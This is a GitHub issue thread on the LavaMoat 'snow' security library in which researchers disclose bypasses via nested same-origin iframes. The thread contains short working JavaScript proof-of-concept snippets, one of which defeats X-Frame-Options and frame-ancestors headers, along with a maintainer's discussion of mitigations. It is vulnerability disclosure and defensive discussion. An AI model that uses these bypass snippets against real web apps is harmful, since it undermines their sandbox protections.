LavaMoat / snow

Use Snow to finally secure your web app's same origin realms!
https://lavamoat.github.io/snow/demo/
MIT License
103 stars 9 forks source link

Bypass via nested same-origin iframe #136

Open NDevTK opened 1 year ago

NDevTK commented 1 year ago
f=document.createElement('iframe');
f.hidden = true;
f.src='https://terjanq.me/xss.php?html=%3Ciframe%20src=%22'+ location.origin + '%22%3E';
f.onload = () => {
 f.contentWindow[0].alert(window.origin);
}
document.body.appendChild(f);
NDevTK commented 1 year ago

Fix seems to be block cross-origin contentWindow only allowing what is known to be safe. It should not be expected that all pages on an origin will contain embed protection or the SNOW script. For example an image, https://www.google.com/favicon.ico (Does this mean Google has a security issue?... no)

weizman commented 1 year ago

In a world where:

Then the answer to the question "Does this mean Google has a security issue?" is in fact YES.

And the context of this project is around assuming a potential user of Snow wants to protect themselves against this class of issues, so again, this is a security issue.

To be clear, in the world I describe, Google are expected to serve google.com/favicon.ico with an X-Frame-Options: SAMEORIGIN or 'Content-Security-Policy': 'frame-ancestors "none";' because there isn't a legitimate reason to frame a non-framable resource - only malicious reasons.

In MetaMask, currently being the main adopter of Snow, we take these issues seriously, which is why you can't frame anything under the MetaMask origin, including favicon.icos.

That being said, this isn't ideal. I would obviously prefer a better solution that requires less responsibility from the adopter. This is why we wish to end up in a place where we convince browsers to help out with some builtin solutions.

But for now, I agree encouraging the adopter to set a Content-Security-Policy': 'frame-ancestors "trusted.com"; when integrating Snow is a good thing to do. To me that is a fair action-item.

NDevTK commented 1 year ago

Yeah for the browser extension I see you got "content_security_policy": "frame-ancestors 'none'; script-src 'self'; object-src 'self'" This is better then using WAR which I think is only initiator based.

Regarding the https://metamask.io origin:

f=document.createElement('iframe');
f.src='https://metamask.io/favicon-32x32.png';
document.body.appendChild(f);

Does work :)

I agree with encouraging the adopter to set a Content-Security-Policy': 'frame-ancestors "trusted.com"; in all cases. It looks bad when your demo can be escaped.

terjanq commented 1 year ago

To be clear, in the world I describe, Google are expected to serve google.com/favicon.ico with an X-Frame-Options: SAMEORIGIN or 'Content-Security-Policy': 'frame-ancestors "none";' because there isn't a legitimate reason to frame a non-framable resource - only malicious reasons.

This is an unrealistic assumption. There will be always plenty of endpoints with either missing the headers or the ones that are purposefully frameable. Even with that assumption, the below bypass works fine with both X-Frame-Options: SAMEORIGIN and Content-Security-Policy: frame-ancestors 'none' set at the same time.

f=document.createElement('iframe');
f.hidden = true;
f.src='https://terjanq.me/xss.php?html=<iframe>';
f.onload = () => {
 f.contentWindow[0].location='about:blank';
 setTimeout(()=>{
   f.contentWindow[0].alert(origin);
 }, 500);
}
document.body.appendChild(f);